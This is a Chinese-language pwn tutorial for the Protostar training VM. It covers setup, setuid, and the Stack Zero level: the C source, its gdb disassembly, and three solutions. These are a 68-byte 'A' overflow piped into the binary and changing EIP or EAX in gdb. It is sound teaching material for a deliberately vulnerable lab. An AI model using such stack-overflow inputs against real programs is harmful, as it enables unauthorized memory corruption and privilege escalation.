二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

简介

pwn是ctf比赛的方向之一,也是门槛最高的,学pwn前需要很多知识,这里建议先去在某宝上买一本汇编语言第四版,看完之后学一下python和c语言,python推荐看油管FreeCodeCamp的教程,c语言也是

pwn题目大部分是破解在远程服务器上运行的二进制文件,利用二进制文件中的漏洞来获得对系统的访问权限

这是一个入门pwn很好的靶场,这个靶场包括了:

网络编程
处理套接字
栈溢出
格式化字符串
堆溢出
写入shellcode

下载地址:

https://exploit.education/downloads/

实验环境部署

Protostar靶机下载地址:https://exploit.education/protostar/
windoows的ssh连接软件:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

下载完Protostar的镜像文件后,将其安装到vmware上,然后打开

账号为user,密码user
如何切换到root权限:进入user用户然后 su root 密码为godmod

ssh远程连接

输入IP后点击打开,输入账号密码,然后输入/bin/bash,更换为可以补全字符串的shell

在网站的Protostar靶机的介绍处,我们要破解的题目存放在这个目录下

/opt/protostar/bin

我们进入这个目录,详细查看文件

ls -al

发现文件都是红色的,我们详细的查看文件

flie stack0

这是一个32位的setuid程序

setuid

什么是setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

这么说起来有点绕,我们来举一个例子

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

演示

我们用user用户运行一个vim

然后新开一个窗口查看后台进程

ps -aux

这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看

这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行

我们查看文件的权限

r代表读,w代表写,x代表执行,那s是什么呢

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的

我们的目标就是,破解这些文件然后拿到root权限

STACK ZERO程序源代码分析

我们破解一个简单的题,通过分析汇编语言,以及相关的知识,来带大家进一步了解程序是如何运行的以及如何破解的

题目的源代码:https://exploit.education/protostar/stack-zero/

题目详情:这个级别介绍了内存可以在其分配区域之外访问的概念,堆栈变量的布局方式,以及在分配的内存之外进行修改可以修改程序执行。

分析源代码,这是由c语言写成的程序,

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;          //定义一个变量
  char buffer[64];           //给buffer变量定义数组,c语言中一个字符数就是一个字符串

  modified = 0;            //modified变量=0
  gets(buffer);             //获取我们的输入,赋予到buffer变量里

  if(modified != 0) {               //如果modified不等于0
      printf("you have changed the 'modified' variable\n");                //打印'成功改变modified变量'字符串
  } else {                        //否则
      printf("Try again?\n");                   //打印'再试一次'
  }
}

很明显,我们要使if语句成功判断,打印成功改变变量的字符串,关于如何破解程序,获取root权限,我会在下一篇文章中介绍

gets函数漏洞分析

在gets函数的官方文档里,有这么一句话

永远不要使用gets函数,因为如果事先不知道数据,就无法判断gets将读取多少个字符,因为gets将继续存储字符当超过缓冲区的末端时,使用它是极其危险的,它会破坏计算机安全,请改用fgets。

汇编分析

我们使用gdb打开程序进行进一步的分析

gdb /opt/protostar/bin/stack0

然后我们查看程序的汇编代码,来了解程序的堆栈是如何工作的

set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main  显示所有的汇编程序指令
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

0x080483f4 <main+0>:    push   ebp

第一条是将ebp推入栈中,ebp是cpu的一个寄存器,它包含一个地址,指向堆栈中的某个位置,它存放着栈底的地址,在因特尔的指令参考官方资料中,可以看到,mov esp、ebp和pop ebp是函数的开始和结束

https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf

在这个程序中,最初操作是将ebp推入栈中,然后把esp的值放入ebp中,而当函数结束时执行了leave操作

0x08048433 <main+63>:   leave
leave:
mov esp,ebp
pop ebp

可以看到,程序开头和结尾的操作都是对称的

之后执行了如下操作

0x080483f7 <main+3>:    and    esp,0xfffffff0

AND 指令可以清除一个操作数中的 1 个位或多个位,同时又不影响其他位。这个技术就称为位屏蔽,就像在粉刷房子时,用遮盖胶带把不用粉刷的地方(如窗户)盖起来,在这里,它隐藏了esp的地址

0x080483fa <main+6>:    sub    esp,0x60

然后esp减去十六进制的60

0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0

在内存移动的位置为0,在堆栈上的偏移为0x5c

段地址+偏移地址=物理地址

举一个例子,你从家到学校有2000米,这2000米就是物理地址,你从家到医院有1500米,离学校还要500米,这剩下的500米就是偏移地址

这里推荐大家看一下《汇编语言》这本书,在这本书里有很多关于计算机底层的相关知识

0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>

lea操作是取有效地址,也就是取esp地址+偏移地址0x1c处的堆栈

然后DWORD PTR要取eax的地址到esp中

调用gets函数

0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax

然后对比之前设置的值,0,用test来检查

0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>

这些就是if循环的操作了

实战演示

方法一:溢出

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

我们先在gets函数地址下一个断点,这样程序在运行到这个地址时会停止继续运行下一步操作。

断点意思就是让程序执行到此"停住",不再往下执行

b *0x0804840c

然后在调用gets函数后下一个断点,来看我们输入的字符串在哪里

b *0x08048411

然后设置

define hook-stop

这个工具可以帮助我们在每一步操作停下来后,自动的运行我们设置的命令

info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

然后我们输入run运行程序到第一个断点

r

现在我们马上就要执行gets函数了,输入n执行gets函数

n    //next

我们随意输入一些内容,按下回车键

可以看到,0x41是A的ascii码,我们距离0x0000000还有一段距离

x/wx $esp+0x5c            //查看esp地址+0x5c偏移地址的内容

算了一下,我们需要68个字符才能覆盖

输入q退出gdb

然后使用echo或者python对程序进行输入

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0

python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0

可以看到,我们已经成功打印出了正确的字符

方式二:更改eip寄存器的值

寄存器的功能是存储二进制代码,不同的寄存器有不同的作用,这里,我们要认识一个很重要的寄存器,他叫做EIP,在64位程序里叫做RIP,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行

重新打开程序,由于我们可以控制eip寄存器,随便在哪下一个断点都行,我这里在程序头下一个断点

 b *main

运行程序到断点处

r

查看所有寄存器的值

info registers

我打的断点地址为0x80483fd而eip寄存器的值也是0x80483fd

查看程序汇编代码

如果我们输入的值和程序设置的值不一样,就会跳转到0x8048427这个位置,然后输出try again,也就是破解失败,所以我们将eip寄存器的值修改成0x8048419,下一个地址调用了put函数,输出的是you have changed the 'modified' variable也就是破解成功了

现在我们修改eip寄存器的值

set $eip=0x8048419

修改后再次查看所有寄存器里的值,可以看到,现在eip指向了我们指定的地址

n //执行下一个地址

破解成功

方式三:修改eax寄存器的值

最直接的方法是改变对比的值,使eax寄存器的值为不等于0,因为程序源代码逻辑为不等于0后才会输出正确的提示字符you have changed the 'modified' variable

在对比的地方下一个断点

b *0x08048415

运行程序

r

查看所有寄存器里的值

修改eax寄存器里的值

set $eax = 1

然后继续运行程序

破解成功

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